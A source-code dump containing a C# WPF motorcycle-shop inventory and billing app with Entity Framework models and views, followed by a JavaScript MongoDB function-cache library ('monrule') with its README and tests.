using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TecnoMoto.Models
{
[Table("buy")]
public partial class buy
{
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2214:DoNotCallOverridableMethodsInConstructors")]
public buy()
{
detail_buy = new HashSet<detail_buy>();
}
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public long ID_BUY { get; set; }
public DateTime? DATE_REGISTER { get; set; }
public long ID_USER { get; set; }
public bool COMPLETE { get; set; }
public virtual users users { get; set; }
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")]
public virtual ICollection<detail_buy> detail_buy { get; set; }
}
}
<file_sep>using MahApps.Metro.Controls;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
namespace TecnoMoto.Views
{
/// <summary>
/// Lógica de interacción para HomeView.xaml
/// </summary>
public partial class HomeWindow : MetroWindow
{
public HomeWindow()
{
InitializeComponent();
}
private void Tile_Click_Prod(object sender, RoutedEventArgs e)
{
Views.ProductView _prod = new ProductView();
this.Close();
_prod.ShowDialog();
}
private void Tile_Click_Type_Prod(object sender, RoutedEventArgs e)
{
Views.TypeProductView _TProd = new TypeProductView();
this.Close();
_TProd.ShowDialog();
}
private void Tile_Click_Provider(object sender, RoutedEventArgs e)
{
Views.UserView _User = new UserView();
this.Close();
_User.ShowDialog();
}
private void Tile_Click_Buy(object sender, RoutedEventArgs e)
{
Views.BuyView _User = new BuyView();
this.Close();
_User.ShowDialog();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using TecnoMoto.Views;
namespace TecnoMoto.ControlUser
{
/// <summary>
/// Lógica de interacción para HomeUserControl.xaml
/// </summary>
public partial class HomeUserControl : UserControl
{
public HomeUserControl()
{
InitializeComponent();
}
private void Tile_Click(object sender, RoutedEventArgs e)
{
var window = Window.GetWindow(this);
Views.HomeWindow _home = new HomeWindow();
window.Close();
_home.ShowDialog();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TecnoMoto.Models
{
[Table("type_user")]
public class type_user
{
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2214:DoNotCallOverridableMethodsInConstructors")]
public type_user()
{
users = new HashSet<users>();
}
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public long ID_TYPE_USER { get; set; }
[StringLength(100)]
public string TYPE_USER { get; set; }
public DateTime? DATE_REGISTER { get; set; }
public virtual ICollection<users> users { get; set; }
}
}
<file_sep>using MahApps.Metro.Controls;
using MahApps.Metro.Controls.Dialogs;
using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using TecnoMoto.Common;
using TecnoMoto.Models;
using TecnoMoto.ViewModels;
namespace TecnoMoto.Views
{
/// <summary>
/// Lógica de interacción para TypeProductView.xaml
/// </summary>
public partial class TypeProductView : MetroWindow
{
#region Properties
public TypeProductViewModel MyContext { get; set; }
#endregion
public TypeProductView()
{
InitializeComponent();
MyContext = new TypeProductViewModel();
this.DataContext = MyContext;
}
private async void btnIngresar_Click(object sender, RoutedEventArgs e)
{
try
{
bool isValid;
if (MyContext.typeProdModel.ID_TYPE_PRODUCT != 0)
isValid = await MyContext.UpdateTypeProdAsync(MyContext.typeProdModel);
else
isValid = await MyContext.SaveTypeProdAsync(MyContext.typeProdModel);
if (isValid)
await this.ShowMessageAsync(Constantes.EXITO, Constantes.INSERCCION_EXITOSA, MessageDialogStyle.Affirmative);
else
await this.ShowMessageAsync(Constantes.ERROR, Constantes.VERIFICAR_DATOS);
}
catch (Exception)
{
throw;
}
}
private void listModel1_MouseDoubleClick(object sender, MouseButtonEventArgs e)
{
try
{
if (sender != null)
{
DataGrid grid = sender as DataGrid;
if (grid != null && grid.SelectedItems != null && grid.SelectedItems.Count == 1)
{
DataGridRow dgr = grid.ItemContainerGenerator.ContainerFromItem(grid.SelectedItem) as DataGridRow;
MyContext.typeProdModel = dgr.DataContext as type_product;
}
}
}
catch (Exception)
{
throw;
}
}
}
}
<file_sep>using MahApps.Metro.Controls;
using MahApps.Metro.Controls.Dialogs;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using TecnoMoto.Common;
using TecnoMoto.Models;
using TecnoMoto.ViewModels;
namespace TecnoMoto.Views
{
/// <summary>
/// Lógica de interacción para ProductView.xaml
/// </summary>
public partial class ProductView : MetroWindow
{
#region Properties
public ProductViewModel MyContext { get; set; }
#endregion
public ProductView()
{
InitializeComponent();
MyContext = new ProductViewModel();
this.DataContext = MyContext;
}
private void txtPrecio_KeyDown(object sender, KeyEventArgs e)
{
if (e.Key >= Key.D0 && e.Key <= Key.D9 || e.Key >= Key.NumPad0 && e.Key <= Key.NumPad9)
e.Handled = false;
else
e.Handled = true;
}
private async void btnGuardar_Click(object sender, RoutedEventArgs e)
{
try
{
bool isExist = false;
var tipo = splitBtnTProd.SelectedItem as type_product;
if (MyContext.productModel.ID_PRODUCT != 0)
isExist = await MyContext.UpdateProductAsync(MyContext.productModel, tipo);
else
isExist = await MyContext.SaveProd(MyContext.productModel, tipo);
if (isExist)
await this.ShowMessageAsync(Constantes.EXITO, Constantes.INSERCCION_EXITOSA, MessageDialogStyle.Affirmative);
else
await this.ShowMessageAsync(Constantes.ERROR, Constantes.VERIFICAR_DATOS);
}
catch (Exception)
{
throw;
}
}
private void listModel1_MouseDoubleClick(object sender, MouseButtonEventArgs e)
{
try
{
if (sender != null)
{
DataGrid grid = sender as DataGrid;
if (grid != null && grid.SelectedItems != null && grid.SelectedItems.Count == 1)
{
DataGridRow dgr = grid.ItemContainerGenerator.ContainerFromItem(grid.SelectedItem) as DataGridRow;
var pro = dgr.DataContext as product;
MyContext.productModel = dgr.DataContext as product;
splitBtnTProd.SelectedIndex = ((int)pro.ID_TYPE_PRODUCT - 1);
//txtPass1.Password = <PASSWORD>;
//txtPass.Password = <PASSWORD>;
}
}
}
catch (Exception)
{
throw;
}
}
//private void button1_Click(object sender, RoutedEventArgs e)
//{
// flyProd.IsOpen = true;
//}
//private void btnIngresar_Click(object sender, RoutedEventArgs e)
//{
// MyContext.SaveTypeProdAsync(txtNameTypeProd.Text);
// splitBtnTProd.Items.Refresh();
// flyProd.IsOpen = false;
//}
//private void Tile_Click(object sender, RoutedEventArgs e)
//{
// var window = Window.GetWindow(this);
// Views.HomeWindow _home = new HomeWindow();
// this.Close();
// _home.ShowDialog();
//}
}
}
<file_sep>namespace TecnoMoto.Models
{
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.Spatial;
[Table("detail_bill")]
public partial class detail_bill
{
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public long ID_DETAIL_BILL { get; set; }
public long? ID_PRODUCT { get; set; }
public long? ID_BILL { get; set; }
public long? VALUE { get; set; }
public long? CANT { get; set; }
public virtual bill bill { get; set; }
public virtual product product { get; set; }
}
}
<file_sep>namespace TecnoMoto.Models
{
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.Spatial;
[Table("bill")]
public partial class bill
{
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2214:DoNotCallOverridableMethodsInConstructors")]
public bill()
{
detail_bill = new HashSet<detail_bill>();
}
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public long ID_BILL { get; set; }
public long? ID_USER { get; set; }
public DateTime? DATE_REGISTER { get; set; }
public string DX { get; set; }
public string PLAQUE { get; set; }
public bool COMPLETE { get; set; }
public virtual users users { get; set; }
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")]
public virtual ICollection<detail_bill> detail_bill { get; set; }
}
}
<file_sep>using MahApps.Metro.Controls;
using MahApps.Metro.Controls.Dialogs;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using TecnoMoto.Common;
using TecnoMoto.Models;
using TecnoMoto.ViewModels;
namespace TecnoMoto.Views
{
/// <summary>
/// Lógica de interacción para DetailBuyView.xaml
/// </summary>
public partial class DetailBuyView : MetroWindow
{
#region Properties
public DetailBuyViewModel MyContext { get; set; }
public ObservableCollection<product> listP { get; set; }
#endregion
public DetailBuyView(long? idBuy)
{
InitializeComponent();
MyContext = new DetailBuyViewModel(idBuy);
this.DataContext = MyContext;
txtCodeP.Focusable = true;
txtCodeP.Focus();
listP = MyContext.listProduct;
}
private void splitBtnProv_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
try
{
var us = splitBtnProv.SelectedItem as users;
if (us.ID_TYPE_USER != 0)
MyContext.userModel = us;
else
MyContext.userModel = new users();
}
catch (Exception)
{
throw;
}
}
private async void listProduct_MouseDoubleClick(object sender, MouseButtonEventArgs e)
{
try
{
long c = 0;
if (sender != null)
{
DataGrid grid = sender as DataGrid;
if (grid != null && grid.SelectedItems != null && grid.SelectedItems.Count == 1)
{
var u = splitBtnProv.SelectedItem as users;
DataGridRow dgr = grid.ItemContainerGenerator.ContainerFromItem(grid.SelectedItem) as DataGridRow;
var pro = dgr.DataContext as product;
if (u.ID_USER !=0 && pro.ID_PRODUCT != 0)
{
if (!string.IsNullOrEmpty(pCant.Text))
c = long.Parse(pCant.Text);
else
c++;
await MyContext.addProduct(MyContext.buyModel.ID_BUY, pro, u, c);
pCant.Clear();
}
else
await this.ShowMessageAsync(Constantes.ERROR, Constantes.FALTA_PRESTADOR);
}
}
}
catch (Exception)
{
throw;
}
}
private void txtCodeP_KeyUp(object sender, KeyEventArgs e)
{
try
{
if (!string.IsNullOrEmpty(txtCodeP.Text) || !string.IsNullOrEmpty(txtNameProd.Text))
{
}
}
catch (Exception)
{
throw;
}
}
private void txtNameProd_KeyUp(object sender, KeyEventArgs e)
{
try
{
if (!string.IsNullOrEmpty(txtCodeP.Text) || !string.IsNullOrEmpty(txtNameProd.Text))
{
}
}
catch (Exception)
{
throw;
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Data.Entity;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading.Tasks;
using TecnoMoto.Common;
using TecnoMoto.Models;
using TecnoMoto.Services;
namespace TecnoMoto.ViewModels
{
public class TypeProductViewModel : ObservableObject
{
#region Properties
public type_product _typeProdModel;
public type_product typeProdModel
{
get { return _typeProdModel; }
set
{
_typeProdModel = value;
OnPropertyChanged();
}
}
public ObservableCollection<type_product> listTypeProduct { get; set; }
#endregion
public TypeProductViewModel()
{
typeProdModel = new type_product();
listTypeProduct = ListTypeProd();
}
public ObservableCollection<type_product> ListTypeProd()
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
return new ObservableCollection<type_product>(db.type_product.ToList());
}
catch (Exception)
{
throw;
}
}
public async Task<bool> SaveTypeProdAsync(type_product tp)
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
using (var tran = db.Database.BeginTransaction())
{
try
{
db.type_product.Add(tp);
await db.SaveChangesAsync();
tran.Commit();
listTypeProduct.Add(tp);
typeProdModel = new type_product();
return await Task.FromResult(true);
}
catch (Exception)
{
tran.Rollback();
throw;
}
}
}
}
public async Task<bool> UpdateTypeProdAsync(type_product prod)
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
db.Entry(prod).State = EntityState.Modified;
await db.SaveChangesAsync();
var pro = listTypeProduct.Where(x => x.ID_TYPE_PRODUCT == prod.ID_TYPE_PRODUCT).FirstOrDefault();
pro = prod;
typeProdModel = new type_product();
return true;
}
}
catch (Exception)
{
return false;
throw;
}
}
}
}
<file_sep>namespace TecnoMoto.Models
{
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.Spatial;
[Table("users")]
public partial class users
{
public users()
{
bill = new HashSet<bill>();
buy = new HashSet<buy>();
}
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public long ID_USER { get; set; }
[StringLength(255)]
public string USERNAME { get; set; }
[StringLength(20)]
public string PASS { get; set; }
[Column("USERS")]
[StringLength(20)]
public string USERS { get; set; }
[StringLength(10)]
public string PHONE { get; set; }
[StringLength(50)]
public string DOCUMENT { get; set; }
public bool ACTIVE { get; set; }
public long ID_TYPE_USER { get; set; }
public virtual type_user type_user { get; set; }
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")]
public virtual ICollection<bill> bill { get; set; }
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")]
public virtual ICollection<buy> buy { get; set; }
}
}
| 0da643a11b277d7ef564359796cfd1cba5d26417 | [
"C#"
] | 22 | C# | juanpa2191/TecnoMotoMahapps | c555a6241e9103a436c3afe69cf320acb36be95b | 148f31fa1623ade9cc5833a385ce2745bfadcb61 |
refs/heads/master | <repo_name>IFPR-2020-INFO18-Desenvolvimento-Web/javascript<file_sep>/index.js
// alert('Mensagem do arquivo index.js');
console.log("Hello world!");
const nome = "Diego";
console.log(nome);
// nome = 'Pedro';
let idade;
idade = 22;
console.log(idade);
idade = idade + 15;
console.log(idade);
// const peso = prompt('Informe seu peso.');
// console.log('Peso do usuário: ' + peso);
// const apagar = confirm("Vecê deseja apagar todos os arquivos?");
// console.log(apagar);
// Number
const pi = 3.14;
const calculo = 2 / 2 + 3;
console.log(pi);
console.log(typeof pi);
console.log(calculo);
console.log(typeof calculo);
// Strings
let endereco = "Rua Xyz, ";
endereco = endereco + "987";
console.log(endereco);
const sobrenome = "Stiehl";
const nomeCompleto = `Dr. ${nome} ${sobrenome}!`;
console.log(nomeCompleto);
// Boolean
const identificado = true;
console.log(typeof identificado);
const rodando = false;
const parado = !rodando;
console.log(`Aplicação rodando? ${rodando}`);
console.log(`Aplicação parada? ${parado}`);
if (rodando) {
console.log("Iniciando menus...");
} else {
console.log("Desligando sistema...");
}
const status = rodando ? "Executando" : "Parada";
console.log(`Status do app: ${status}.`);
// Undefined
let altura;
console.log(altura);
console.log(typeof altura);
altura = 10;
console.log(altura);
console.log(typeof altura);
// console.log(circunferencia);
// Conversão
// const valor = prompt('Informe um valor');
// console.log(typeof valor);
// console.log(valor);
// // const novoValor = valor + 100;
// const novoValor = parseInt(valor) + 100;
// console.log(novoValor);
// if
const nota = 7.5;
console.log("Nota do aluno:");
if (nota >= 8) {
console.log("A");
} else if (nota >= 6) {
console.log("B");
} else if (nota >= 5) {
console.log("C");
} else {
console.log("D");
}
// Truthy e Falsy
if (nome) {
console.log("A variável nome é: Truthy");
} else {
console.log("A variável nome é: Falsy");
}
| 53620c520e33c991a52f4ed936652ecd46d0b8ba | [
"JavaScript"
] | 1 | JavaScript | IFPR-2020-INFO18-Desenvolvimento-Web/javascript | 50309f605654da8995377f9985e19132e6837f19 | 471da7b7fe1dc80b8cb2af62a28ff17ba4c3e2fa |
refs/heads/master | <file_sep>import numpy as np
import pandas as pd
df = pd.read_csv("test_data/data_ori2.csv") #원본파일
df1 = pd.read_csv("test_data/data_ori2.csv") #비식별파일
#일련번호순으로 정렬
s_df = df.sort_values(by='일련번호') #index는 일련번호의미
s_df1 = df1.sort_values(by='일련번호')
#컬럼지정
interest_column = pd.Series(['신용대출한도','월소득']) #원하는 열 선택
#삭제된 행 처리
deleted_rows = list(set(s_df['일련번호']) - set(s_df1['일련번호']))
deleted_rows.sort()
j=0
count = -1
deleted_index=[]
k = len(deleted_rows)
#삭제된 행은 원본에서도 삭제
if deleted_rows:
for i in s_df['일련번호']:
count = count + 1
if i == deleted_rows[j]:
deleted_index.append(count)
j = j + 1
if j>k:
break
continue
s_df = s_df.drop(deleted_index)
#컬럼별 연산
cos = {}
for i in interest_column:
dot = np.dot(s_df[i], s_df1[i])
norma = np.linalg.norm(s_df[i])
normb = np.linalg.norm(s_df1[i])
cos[i] = dot / (norma * normb)
#컬럼별 결과 출력
cos
#최적의 결과 제공
| df4bb163e923fdb51d3a98845d5153657279c6db | [
"Python"
] | 1 | Python | makmonster-U/gebiscon | eaf527ea4aef61e21e4b74b789853c9ccc5bd17d | 7a589d73eefd9b106405b4cdecd951699f2de8f6 |
refs/heads/master | <file_sep>'use strict';
module.exports = isModel;
/**
* Checks if the passed argument is a mongoose model instance.
* @params {*} model The argument to check
* @returns {Boolean} True if the passed argument is a mongoose model, otherwise false
*/
function isModel(model) {
return Boolean(model && model.prototype && model.prototype.constructor.name === 'model');
}
<file_sep>'use strict';
const log = require('util').debuglog('monrule:cache');
const co = require('co');
const hash = require('object-hash');
const ObjectStore = require('./object-store');
const NS_SEPARATOR = ':';
module.exports = class FunctionCache {
constructor(func, options) {
if (typeof func !== 'function') {
throw new Error('Found no function to cache');
}
options = Object.assign({}, options);
this.func = func;
this.funcHash = hash(func.toString());
this.namespace = String(options.namespace || 'FunctionCache');
this.resolver = options.resolver || FunctionCache.stdResolver;
this.store = new ObjectStore(Object.assign(options, {
mongoose: options.mongoose || require('mongoose'),
modelName: options.modelName || this.namespace}));
}
getWrapper() {
return this.get.bind(this);
}
get() {
const args = arguments;
const id = this.getId.apply(this, arguments);
return co(function* () {
log('get with id %s', id);
let result = yield this.store.get(id);
if (result) {
log('found result for id %s', id);
return result;
}
log('call wrapped function and create a new entry for id %s', id);
result = yield Promise.resolve(this.func.apply(this, args));
return this.store.set(id, result);
}.bind(this));
}
invalidate(query) {
log('invalidating cache with query %s', JSON.stringify(query));
let _id = new RegExp('^' + this.namespace + NS_SEPARATOR + '.*');
return this.store.model.remove(Object.assign({_id}, query)).exec();
}
clear() {
log('clear cache with namespace %s', this.namespace);
return this.invalidate();
}
getId() {
let resolved = this.resolver.apply(this, arguments);
return [this.namespace, this.funcHash, hash(resolved)].join(NS_SEPARATOR);
}
static stdResolver() {
return [].slice.call(arguments);
}
};
<file_sep>'use strict';
import test from 'ava';
import {spy} from 'sinon';
import {Runner} from '../lib';
test('should throw for an invalid rule config', t => {
const rr = new Runner();
t.throws(() => rr.register());
t.throws(() => rr.register(null, {a: 1}));
t.throws(() => rr.register({rule: {}}));
t.throws(() => rr.register('test', {rule: 1}));
});
test('should check a rule', async t => {
const rr = new Runner();
const rule = (a, b) => a > b;
const conf = [rule, {rule}];
let data = await rr.check(conf, [1, 2]);
t.false(data.result);
data = await rr.check(conf, [2, 1]);
t.true(data.result);
});
test('should check a promise as a rule', async t => {
const rr = new Runner();
const rule = (a, b) => new Promise((resolve) => resolve(a > b));
const conf = [rule, {rule}];
let data = await rr.check(conf, [1, 2]);
t.false(data.result);
data = await rr.check(conf, [2, 1]);
t.true(data.result);
});
test('should register and iterate the rules', async t => {
const rr = new Runner();
const rule = (a, b) => new Promise((resolve) => resolve(a > b));
const elur = (a, b) => a < b;
rr.register(rule, {rule})
.register(elur, {rule: elur});
for (let p of rr.iterator(1, 2)) {
let r = await p;
if (r === rule) {
t.false(r.result);
}
if (r === elur) {
t.true(r.result);
}
}
for (let p of rr.iterator(2, 1)) {
let r = await p;
if (r === rule) {
t.true(r.result);
}
if (r === elur) {
t.false(r.result);
}
}
});
test.cb('should emit an event on failed validation', t => {
const rr = new Runner();
const rule = () => false;
rr.on('test', (data) => {
t.false(data.result);
t.end();
});
rr.register('test', {rule})
.run(1, 2);
});
test.cb('should not emit an event on suceeded validation by default', t => {
const rr = new Runner();
const rule = () => true;
const eventSpy = spy();
rr.on('test', eventSpy);
setTimeout(() => {
t.false(eventSpy.called);
t.end();
});
rr.register('test', {rule}).run(2, 1);
});
test.cb('should emit an event on suceeded validation if I told her so', t => {
const rr = new Runner({triggerValid: true});
const rule = () => true;
rr.on('test', (data) => {
t.true(data.result);
t.end();
});
rr.register('test', {rule}).run(2, 1);
});
test.cb('should not emit at all if the emit option is set to false', t => {
const rr = new Runner({emit: false});
const rule = () => false;
const elur = () => true;
const eventSpy = spy();
rr.on('false', eventSpy);
rr.on('true', eventSpy);
setTimeout(() => {
t.false(eventSpy.called);
t.end();
});
rr.register('false', {rule})
.register('true', {rule: elur})
.run(2, 1);
});
test.cb('should clear all rules', t => {
const rr = new Runner();
const rule = () => false;
const elur = () => true;
const eventSpy = spy();
rr.on('false', eventSpy);
rr.on('true', eventSpy);
setTimeout(() => {
t.false(eventSpy.called);
t.end();
});
rr.register('false', {rule})
.register('true', {rule: elur})
.clear()
.run(2, 1);
});
<file_sep>'use strict';
import test from 'ava';
import {inflect} from '../../lib/utils';
test.beforeEach(t => {
t.context.theObject = {unique: true, awesome: () => {}};
t.context.theName = 'Hulk';
t.context.theNumber = 42;
const keymap = {
aName: 'name',
anObject: 'object',
missing: 'missing'
};
t.context.remapped = {
aName: t.context.theName,
anAge: t.context.theNumber,
anObject: t.context.theObject
};
inflect(t.context.remapped, keymap);
});
test('should still be an object', t => {
t.true(typeof t.context.remapped === 'object');
});
test('should sensibly remap keys', t => {
t.truthy(t.context.remapped.name);
t.truthy(t.context.remapped.object);
t.truthy(t.context.remapped.anAge);
t.falsy(t.context.remapped.aName);
});
test('should not map missing keys', t => {
t.falsy(t.context.remapped.missing);
});
test('should have set the proper values', t => {
t.is(t.context.remapped.name, t.context.theName);
t.is(t.context.remapped.anAge, t.context.theNumber);
t.is(t.context.remapped.object, t.context.theObject);
});
test('should do nothing when no map is given', t => {
const obj = {a: 1};
inflect(obj, undefined);
t.truthy(obj.a);
});
test('should do nothing on an empty map', t => {
const obj = {a: 1};
inflect(obj, Object.create(null));
t.truthy(obj.a);
});
test('should not whine on quirky values', t => {
t.notThrows(() => inflect(undefined, undefined));
t.notThrows(() => inflect(null, {}));
t.notThrows(() => inflect(null, 3));
});
<file_sep>'use strict';
module.exports = {
ObjectStore: require('./object-store'),
FunctionCache: require('./function-cache'),
Runner: require('./runner')
};
<file_sep>'use strict';
const log = require('util').debuglog('monrule:store');
const co = require('co');
module.exports = class ObjectStore {
constructor(options) {
if (!options || !options.mongoose) {
throw new Error('No mongoose instance passed in the options');
}
const mongoose = options.mongoose;
this.options = Object.assign({modelName: 'ObjectBucket', saveWrite: true}, options);
try {
this.model = mongoose.model(options.modelName);
log('got initialized model %s', options.modelName);
} catch (e) {
let schema = new mongoose.Schema(
{
_id: String,
data: mongoose.Schema.Types.Mixed
}, {
validateBeforeSave: false,
versionKey: false,
strict: false,
minimize: false
});
const timestamp = require('mongoose-timestamp-plugin');
schema.plugin(timestamp);
log('register new model %s', options.modelName);
this.model = mongoose.model(options.modelName, schema);
}
}
set(_id, data) {
return co(function* () {
if (typeof _id === 'function') {
_id = String(yield Promise.resolve(_id()));
}
if (typeof data === 'function') {
data = yield Promise.resolve(data());
}
log('store object for _id %s', _id);
let q = this.model
.where({_id})
.setOptions({overwrite: true, upsert: true})
.update({data});
if (this.options.saveWrite) {
yield q.exec();
} else {
setImmediate(() => q.exec());
}
return data;
}.bind(this));
}
get(_id) {
return co(function* () {
if (typeof _id === 'function') {
_id = String(yield Promise.resolve(_id()));
}
log('read object with _id %s', _id);
let result = yield this.model.findById(_id).exec();
return result ? result.data : null;
}.bind(this));
}
delete(_id) {
return co(function* () {
if (typeof _id === 'function') {
_id = yield Promise.resolve(_id());
}
log('remove object with _id %s', _id);
return this.model.remove({_id});
}.bind(this));
}
has(_id) {
return co(function* () {
return Boolean(yield this.get(_id));
}.bind(this));
}
};
<file_sep># monrule
A simple cache to persist expensive idempotent function results in a mongodb database with mongoose.
```js
const fibonacci = require('fibonacci');
const FunctionCache = require('monrule').FunctionCache;
const cache = new FunctionCache(fibonacci.iterate, {mongoose});
// get a simple wrapper function, you might also call cache.get(...)
let getFibonacci = cache.getWrapper();
// fills the cache
getFibonacci(10000).then(result => ...); // 1 - 10 seconds
// reads from the cache
getFibonacci(10000).then(result => ...);; // 1 - 10 milliseconds
// promise, invalidate cache results based on a query
c.invalidate({data.number: 13});
// promise, clear all cached results
c.clear();
```
## How it works
When creating a new `FunctionCache`, the source of the passed function is hashed. If the wrapped function is called,
a second hash is created from the arguments of the function. These two hashes plus an optional namespace represent the
cache key and identify the stored result. Therefore the function has to be idempotent/referential transparent.
## FunctionCache API
debuglog: `monrule:cache`
### `new FunctionCache(Function function, [Object options])`
Calls the wrapped function and looks up a cached result for the given arguments. If no cache result can be found the
wrapped function is called and the result is cached in the database and returned.
`function`: A Function which result should be cached. Note that this has to be an idempotent and referential transparent function. If the source of
the function changes, a new hash will be generated the next time the cache is created.
`options`:
`mongoose`: `Object` A mongoose instance used to communicate with the database
`[modelName]`: `String` Name of the model to store the results with, defaults to 'ObjectBucket'. If the model is a registered mongoose
model it will be used.
`[namespace]`: `String` A prefix for the id, will be used to invalidate all objects with this prefix, defaults to 'FunctionCache'
`[saveWrite]`: `Boolean`, defaults to true. If set to false, the function result will be returned without waiting for the database write operation to finish.
`[resolver]`: `Function` A function that is called for every id generation with the arguments of the cached function. It might return any truthy value.
This is usefull if only a fraction of the arguments should be considered for generating an object id. This is usefull if not the complete arguments
need to be hashed, e.g. if objects can be identified by its id:
```js
const cache = new FunctionCache(fn, {resolver: (d1, d2) => [d1._id, d2._id]});
function compute(document1, document2) {
// generate some data
}
```
### `Promise get(Arguments arguments)`
Calls the wrapped function and looks up a cached result for the given arguments. If no cache result can be found the
wrapped function is called and the result is cached in the database and returned.
```js
f.get(a, b, c);
```
### `Function getWrapper()`
Returns the wrapped function to work with the cache like a normal function. Calls the `get` method with the correct
class bound to `this`.
```js
const f = fCache.getWrapper();
f(a, b, c);
```
### `Promise clear()`
Clears the cache and removes all entries with the namespace set in the options. If no namespace has been
set, the default namespace will be used. The promise resolves to the mongodb response for the remove command.
```js
fCache.clear().then(...);
```
### `Promise invalidate(Object queryObject)`
Invalidate (read: remove) all results that match the query object. Note that the cached data is per default saved as
a `data` object, so you might prefix your queries accordingly. The promise resolves to the mongodb response for the remove command.
```js
fCache.invalidate({'data.prop': dataValue}).then(...);
```
### static `String getId(a, b, c, ...)`
Generate a hash for the given arguments, if a resolver function is given in the options the resolver is called
with the given arguments and the result of the resolver function is used to generate a hash.
```js
FunctionCache.getId(a, b, c);
```
## ObjectStore API
debuglog: `monrule:store`
### Options
`mongoose`: A mongoose instance used to communicate with the database
`[modelName]`: Name of the model to store the results with, defaults to 'ObjectBucket'
If no such model has been registered, a standard model will be used.
```js
const ObjectStore = require('monrule').ObjectStore;
const oStore = new ObjectStore({mongoose: require('mongoose')});
```
### `Promise set(String id, Promise|Function|Object value)`
Set a value in the store with the given id. If a value with this id exists it will be overwritten.
Returns a Promise resolving to the given value or the result of the value function or the resolved value
of the value Promise.
```js
oStore.set(1, {awe: 'some'}).then(...);
```
### `Promise get(Promise|Function|String id)`
Get an object from the store by the given id or null if it does not exist. If `id` is a Function or Promise it
will be called/resolved.
```
oStore.get(1).then(r => r === {awe: 'some'}); // true
```
### `Promise delete(Promise|Function|String id)`
Remove the object with the given id. If `id` is a Function or Promise it
will be called/resolved.
```js
fCache.delete(1).then(...);
```
### `Promise has(String id)`
Map interface method, check if an entry with the given id exists.
```js
fCache.has(id).then(b => b === true || b === false);
```
### Todo
* make object-store a plugin
* add redis adapter/plugin
<file_sep>'use strict';
import test from 'ava';
import mongoose from 'mongoose';
import {ObjectStore} from '../lib';
const options = {mongoose, modelName: 'ObjectStoreTest'};
test.cb.before('connect to database', t => {
mongoose.connect('mongodb://127.0.0.1/monrule', t.end);
});
test.cb.after('cleanup database', t => {
const o = new ObjectStore(options);
o.model.remove({}, t.end);
});
test('should only work with valid arguments', t => {
t.throws(() => new ObjectStore());
t.throws(() => new ObjectStore({}));
});
test('should write into the database', async t => {
let e = new ObjectStore(options);
let m = await e.set(1, 'data');
t.is(m, 'data');
});
test('should accept a function as document data', async t => {
const o = {a: 1, b: 'string'};
let e = new ObjectStore(options);
let m = await e.set('object', () => o);
t.is(m, o);
});
test('should accept a function as id', async t => {
const o = 'object';
let e = new ObjectStore(options);
let m = await e.set(() => 'id', 'object');
t.is(m, o);
});
test('should accept a promise as document data', async t => {
let e = new ObjectStore(options);
let m = await e.set('test', () => new Promise((resolve) => resolve('test')));
t.is(m, 'test');
});
test('should save empty objects as those', async t => {
const o = {a: {}, b: {c: {}}};
let e = new ObjectStore(options);
await e.set('empty', o);
let m = await e.get('empty');
t.deepEqual(m, o);
});
